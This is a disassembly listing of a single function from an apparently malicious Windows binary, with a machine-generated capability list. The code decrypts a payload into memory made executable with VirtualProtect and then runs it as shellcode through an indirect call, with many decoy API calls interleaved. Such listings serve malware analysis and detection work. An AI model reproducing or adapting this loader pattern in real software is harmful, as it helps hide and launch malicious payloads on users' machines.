Function at 0x401375
Capabilities:
Allocate or change rwx memory
Create directory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location
Query environment variable
Terminate thread

Disassembly:
mov eax, 0x410048
call fcn.0041001c
mov eax, 0x257c
call fcn.00408630
mov ecx, dword [0xae8e8c]
push esi
push edi
xor edi, edi
cmp ecx, 0x93
jne 0x4014c2
push 0x30
lea eax, [ebp - 0x5c]
mov dword [ebp - 0x60], edi
push edi
push eax
call fcn.0040be10
add esp, 0xc
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x60]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCommConfig]
push edi
push edi
push str.zazaperumefijayesubusi_tofipareceh
push edi
push edi
call dword [sym.imp.USER32.dll_ChangeMenuA]
push edi
push edi
push edi
push edi
call dword [sym.imp.USER32.dll_DrawAnimatedRects]
xor eax, eax
lock bts dword [eax], 0
push edi
lea eax, [ebp - 0x988]
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
push edi
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.ADVAPI32.dll_ReadEventLogA]
push edi
lea eax, [ebp - 0xd88]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push 1
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], str.bad_allocation
push eax
lea ecx, [ebp - 0x1c]
call fcn.004026a9
lea ecx, [ebp - 0x1c]
mov dword [ebp - 0x1c], vtable.std::bad_alloc.0
call fcn.004026e7
push edi
push edi
call fcn.004032d1
push edi
push edi
call fcn.0040374f
push edi
call fcn.00403713
movss xmm0, dword [0x418048]
add esp, 0x14
cvtps2pd xmm0, xmm0
push edi
push ecx
push ecx
movsd qword [esp], xmm0
call fcn.00402f2d
push edi
fstp st(0)
call fcn.00403713
add esp, 0x10
mov dword [ebp - 0x14], edi
push edi
push edi
call fcn.00401e02
mov edi, eax
mov dword [ebp - 0x18], edi
and dword [ebp - 4], 0
and dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
push eax
push dword [edi + 4]
push edi
call fcn.00401e60
mov dword [edi + 4], eax
mov ecx, dword [eax + 4]
or dword [ebp - 4], 0xffffffff
mov dword [ecx], eax
mov eax, dword [edi]
mov dword [edi], edi
mov dword [edi + 4], edi
cmp eax, edi
je 0x4014b3
mov esi, dword [eax]
push eax
call fcn.0040374a
mov eax, esi
pop ecx
cmp esi, edi
jne 0x4014a4
push edi
call fcn.0040374a
pop ecx
mov ecx, dword [0xae8e8c]
xor edi, edi
mov eax, dword [0x41efa8]
add ecx, 0x1134b
push ecx
push edi
mov dword [0xae8f90], eax
mov dword [0xae8e8c], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x2c]
mov dword [0xae8de4], eax
push ecx
push 0x40
push dword [0xae8e8c]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 0x29156e
push edi
lea eax, [ebp - 0x1d88]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffW]
dec esi
jne 0x4014fd
mov ecx, dword [0xae8e8c]
mov esi, edi
test ecx, ecx
je 0x401592
mov eax, dword [0xae8f90]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0xae8de4]
mov byte [eax + esi], cl
mov ecx, dword [0xae8e8c]
cmp ecx, 0x490
jne 0x40158d
lea eax, [ebp - 0x188]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
lea eax, [ebp - 0x24]
push eax
push edi
lea eax, [ebp - 0x74]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push edi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push edi
lea eax, [ebp - 0xd88]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x14]
push eax
push edi
lea eax, [ebp - 0x588]
push eax
push str.juroguxuvera
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0xae8e8c]
inc esi
cmp esi, ecx
jb 0x40151a
mov esi, edi
lea eax, [ecx + esi]
cmp eax, 0x8d
jne 0x401607
push str.yavisuribicovewa
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push edi
lea eax, [ebp - 0x14]
push eax
push edi
lea eax, [ebp - 0x588]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
push edi
call dword [sym.imp.USER32.dll_CharLowerA]
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
call dword [sym.imp.KERNEL32.dll_AreFileApisANSI]
push edi
lea eax, [ebp - 0x1d88]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push edi
push edi
lea eax, [ebp - 0x1188]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
lea eax, [ebp - 0x2588]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
mov ecx, dword [0xae8e8c]
inc esi
cmp esi, 0x38681
jl 0x401594
mov edi, dword [0xae8de4]
mov esi, ecx
shr esi, 3
test esi, esi
je 0x401651
cmp ecx, 0x959
jne 0x40163c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
xor eax, eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov ecx, edi
call fcn.00401237
add edi, 8
dec esi
je 0x401651
mov ecx, dword [0xae8e8c]
jmp 0x40161f
xor edi, edi
mov esi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x62
jne 0x401673
mov dword [ebp - 0x10], edi
add dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add dword [0xae8de4], eax
inc esi
cmp esi, 0x674db
jl 0x401655
push 0x7b
pop esi
cmp dword [0xae8e8c], 0x86
jne 0x4016cd
push edi
push edi
push edi
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
push edi
lea eax, [ebp - 0x28]
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_TerminateThread]
lea eax, [ebp - 0x1588]
push eax
push edi
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
dec esi
jne 0x40167f
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0xae8de4]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
ret